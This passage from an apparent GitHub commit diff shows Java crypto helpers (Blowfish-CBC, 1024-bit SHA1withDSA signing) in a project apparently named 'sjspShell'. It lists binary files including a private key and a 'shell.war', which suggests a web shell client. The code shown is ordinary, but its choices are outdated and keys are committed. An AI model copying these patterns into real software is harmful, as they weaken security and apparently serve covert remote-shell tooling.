+ }
+ public static String[] encryptBlowfish(String plain,String encKey) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidParameterSpecException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException{
+ SecretKeySpec key = new SecretKeySpec(SeComDH.asByte(encKey), "Blowfish");
+ Cipher cipher = Cipher.getInstance("Blowfish/CBC/PKCS5Padding");
+ cipher.init(Cipher.ENCRYPT_MODE, key);
+ AlgorithmParameters params = cipher.getParameters();
+ byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
+ byte[] ciphertext = cipher.doFinal(plain.getBytes("ASCII"));
+ return new String[]{SeComDH.asHex(ciphertext),SeComDH.asHex(iv)};
+ }
+
+ public static String decryptBlowfish(String crypt,String decKey,String iv) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException, UnsupportedEncodingException{
+ SecretKeySpec key = new SecretKeySpec(SeComDH.asByte(decKey), "Blowfish");
+ Cipher cipher = Cipher.getInstance("Blowfish/CBC/PKCS5Padding");
+ cipher.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(SeComDH.asByte(iv)));
+ return new String(cipher.doFinal(SeComDH.asByte(crypt)),"ASCII");
+ }
+
+ private static void writeFile(String path,byte[] data) throws FileNotFoundException, IOException{
+ FileOutputStream fos = new FileOutputStream(path);
+ fos.write(data);
+ fos.close();
+ }
+
+ private static byte[] readFile(String path) throws FileNotFoundException, IOException{
+ FileInputStream keyfis = new FileInputStream(path);
+ byte[] encKey = new byte[keyfis.available()];
+ keyfis.read(encKey);
+ keyfis.close();
+ return encKey;
+ }
+
+ private static byte[] readFileFromStream(InputStream in) throws IOException{
+ byte[] encKey = new byte[in.available()];
+ in.read(encKey);
+ in.close();
+ return encKey;
+ }
+ public static void generateDSAKeyPair(String storePublicKeyPath,String storePrivateKeyPath) throws NoSuchAlgorithmException, FileNotFoundException, IOException, NoSuchProviderException{
+ KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA");
+ keyGen.initialize(1024,new SecureRandom());
+ KeyPair keypair = keyGen.genKeyPair();
+ SeComDH.writeFile(storePublicKeyPath, keypair.getPublic().getEncoded());
+ SeComDH.writeFile(storePrivateKeyPath,keypair.getPrivate().getEncoded());
+ }
+
+ public static byte[] signWithDSA(byte[] data,String privateKeyPath) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException, SignatureException, FileNotFoundException, IOException, NoSuchProviderException{
+ byte[] privateKey = SeComDH.readFile(privateKeyPath);
+ //X509EncodedKeySpec prvKeySpec = new X509EncodedKeySpec(privateKey);
+ //KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ //PrivateKey pk = keyFactory.generatePrivate(prvKeySpec);
+ DSAPrivateKey pk = new DSAPrivateKey(privateKey);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initSign(pk, new SecureRandom());
+ signature.update(data);
+ return signature.sign();
+ }
+
+ public static byte[] signWithDSA(byte[] data, InputStream privateKeyPath) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException, SignatureException, FileNotFoundException, IOException, NoSuchProviderException {
+ byte[] privateKey = SeComDH.readFileFromStream(privateKeyPath);
+ //X509EncodedKeySpec prvKeySpec = new X509EncodedKeySpec(privateKey);
+ //KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ //PrivateKey pk = keyFactory.generatePrivate(prvKeySpec);
+ DSAPrivateKey pk = new DSAPrivateKey(privateKey);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initSign(pk, new SecureRandom());
+ signature.update(data);
+ return signature.sign();
+ }
+
+ public static boolean verifyWithDSA(byte[] data,byte[] sig,String publicKeyPath) throws NoSuchAlgorithmException, InvalidKeySpecException, SignatureException, InvalidKeyException, FileNotFoundException, IOException, NoSuchProviderException{
+ byte[] publicKey = SeComDH.readFile(publicKeyPath);
+ X509EncodedKeySpec pubKeySpec = new X509EncodedKeySpec(publicKey);
+ KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ PublicKey pk = keyFactory.generatePublic(pubKeySpec);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initVerify(pk);
+ signature.update(data);
+ return signature.verify(sig);
+ }
+
+ public static boolean verifyWithDSA(byte[] data, byte[] sig, InputStream is) throws NoSuchAlgorithmException, InvalidKeySpecException, SignatureException, InvalidKeyException, FileNotFoundException, IOException, NoSuchProviderException {
+ byte[] publicKey = SeComDH.readFileFromStream(is);
+ X509EncodedKeySpec pubKeySpec = new X509EncodedKeySpec(publicKey);
+ KeyFactory keyFactory = KeyFactory.getInstance("DSA");
+ PublicKey pk = keyFactory.generatePublic(pubKeySpec);
+ Signature signature = Signature.getInstance("SHA1withDSA");
+ signature.initVerify(pk);
+ signature.update(data);
+ return signature.verify(sig);
+ }
+}
View
BIN  sjspShell/bin/client/SJSc.class
Binary file not shown
View
BIN  sjspShell/bin/client/SeComDH.class
Binary file not shown
View
BIN  sjspShell/bin/client/privatealice.dsa
Binary file not shown
View
BIN  sjspShell/bin/client/publicbob.dsa
Binary file not shown
View
BIN  sjspShell/bin/shell.war
Binary file not shown
Please sign in to comment.
Something went wrong with that request. Please try again.